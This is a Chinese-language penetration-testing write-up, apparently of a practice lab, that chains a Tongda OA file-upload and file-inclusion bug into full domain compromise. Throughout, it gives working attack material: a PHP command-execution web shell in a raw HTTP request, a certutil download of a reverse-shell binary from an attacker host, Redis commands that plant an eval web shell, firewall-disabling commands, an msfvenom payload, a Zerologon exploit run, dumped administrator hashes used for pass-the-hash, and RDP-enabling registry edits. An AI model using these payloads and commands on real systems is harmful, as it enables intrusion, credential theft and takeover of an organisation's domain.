记一次OA打点拿下域控
项目拓扑
外网打点
端口扫描,发现存在445端口,尝试永恒之蓝,但是攻击失败了。
这里你打到后面就会知道为什么永恒之蓝利用不成功,因为开启了防火墙!!!
组合拳(通达OA V13 文件上传+文件包含漏洞)
访问80端口,直接高兴麻了,这不一顿nday嘎嘎造。
尝试弱口令,默认账号密码,账号admin,密码为空,成功登录后台。
查看当前系统版本
POST /ispirit/im/upload.php HTTP/1.1
Host: www.xxxxx.com
Content-Length: 653
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"
1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundaryBwVAwV3O4sifyhr3--
拼接路径进行文件包含,查看当前权限,发现SYSTEM系统权限,很nice
POST /ispirit/interface/gateway.php HTTP/1.1
Host: www.xxxxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
json={"url":"/general/../../attach/im/2308/748903919.jpg"}&cmd=ipconfig
下载反弹shell到服务器。
json={"url":"/general/../../attach/im/2308/403434060.jpg"}&cmd=certutil -urlcache -split -f http://vps_IP/r.exe C:\r.exe
内网渗透
成功上线metasploit
防止会话突然断开,先来迁移进程
查看IP地址信息,发现内网10网段地址
搭建隧道对10段地址进行渗透
利用post/multi/manage/autoroute模块添加路由
设置socks5代理
使用fscan探测10.0.20.0/24网段存活主机,并进行端口和漏洞扫描
这里有坑,使用nmap、fscan走代理模式,使用msfconsole的主机存活模块都扫不到另外一台存活地址,只能上传到目标服务器进行扫描了
redis未授权getshell
发现存在一个redis未授权
proxychains4 redis-cli -h 10.0.20.99
这里尝试了几种getshell的办法,但都是条件不满足,只能作罢;这里还有一个80端口没看,先扫描一下目录
这里由于我设置了socks5代理,目录扫描工具线程太大,扫描会显示超时,所以我自己写了一个目录扫描脚本,发现一个phpinfo.php文件
#coding:utf-8
import requests
import time
with open('vulns.txt','r') as f:
for dir in f.readlines():
url = "http://10.0.20.99/"+dir.strip('\n')
r = requests.get(url)
strlen = len(r.text)
print('[+]'+url+' !--'+str(r.status_code)+'--! '+str(strlen))
time.sleep(0.5)
if r.status_code == 200 or r.status_code == 301 or r.status_code == 302 or r.status_code == 500:
with open('moonlab.txt','a') as wf:
wf.write('[+]'+url+' !--'+str(r.status_code)+'--! '+str(strlen)+'\n')
访问phpinfo.php,爆出了完整的网站根目录
直接redis写入一句话木马getshell
config set dir "C:/phpStudy/PHPTutorial/WWW"
config set dbfilename shel.php
set x "\r\n\r\n<?php @eval($_REQUEST['cmd']);?>\r\n\r\n"
save
代理转发上线metasploit
蚁剑添加socks5代理(这里不知道怎么回事,添加代理连接也不稳定)
最后直接添加windows的代理,稳定性好了很多。
成功连接上蚁剑,并且是SYSTEM权限。
生成windows/meterpreter/reverse_tcp攻击载荷转发上线(这里遇到了点坑,怎么都无法获取到10.0.20.99这台主机的会话)
最后查看10.0.20.98和10.0.20.99这两台服务器的防火墙,将防火墙关闭后成功获取到会话
注意:这里有坑,最好是用工具识别杀软或者直接查看防火墙状态,这里不能直接从程序名判断是否存在杀软。
netsh advfirewall set allprofiles state off #关闭防火墙
netsh advfirewall show allprofiles #查看防火墙状态
将win7当作跳板机,通过代理转发上线。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.20.98 lport=23456 -f exe > 6.exe
还是基本操作,迁移会话,这里就不写了
查看IP地址信息,发现还有一个10.0.10段地址,并且是在域内,因此,域控的地址就是10.0.10.110(域主机的DNS服务器地址就是域控的IP)
也可以使用post/windows/gather/enum_domain
模块,结果也是一样的。
接下来添加第二层socks5代理
扫描常见端口即可,代理不是很稳定
proxychains4 nmap -Pn -sT 10.0.10.110 -p 6379,80,8080,445,139
CVE-2020-1472提权获取域控权限
这里由于前面没有抓取到关于域控的账号密码,所以这里直接使用CVE-2020-1472工具进行提权域控
CVE-2020-1472:https://github.com/mstxq17/cve-2020-1472
proxychains4 python cve-2020-1472-exploit.py win2019 10.0.10.110
secretsdump.py工具是impacket工具箱里面的一款工具。
proxychains4 python3 secretsdump.py vulntarget.com/win2019\$@10.0.10.110 -no-pass
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15:::
使用hash进行远程登陆。
proxychains4 python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15 administrator@10.0.10.110
hash解密,得到administrator的密码Admin@666
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt --format=NT
开启远程桌面,关闭防火墙
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
netsh advfirewall set allprofiles state off
这里使用rdesktop远程会报错CredSSP,于是找到如下办法代替。
apt install remmin
proxychains4 remmin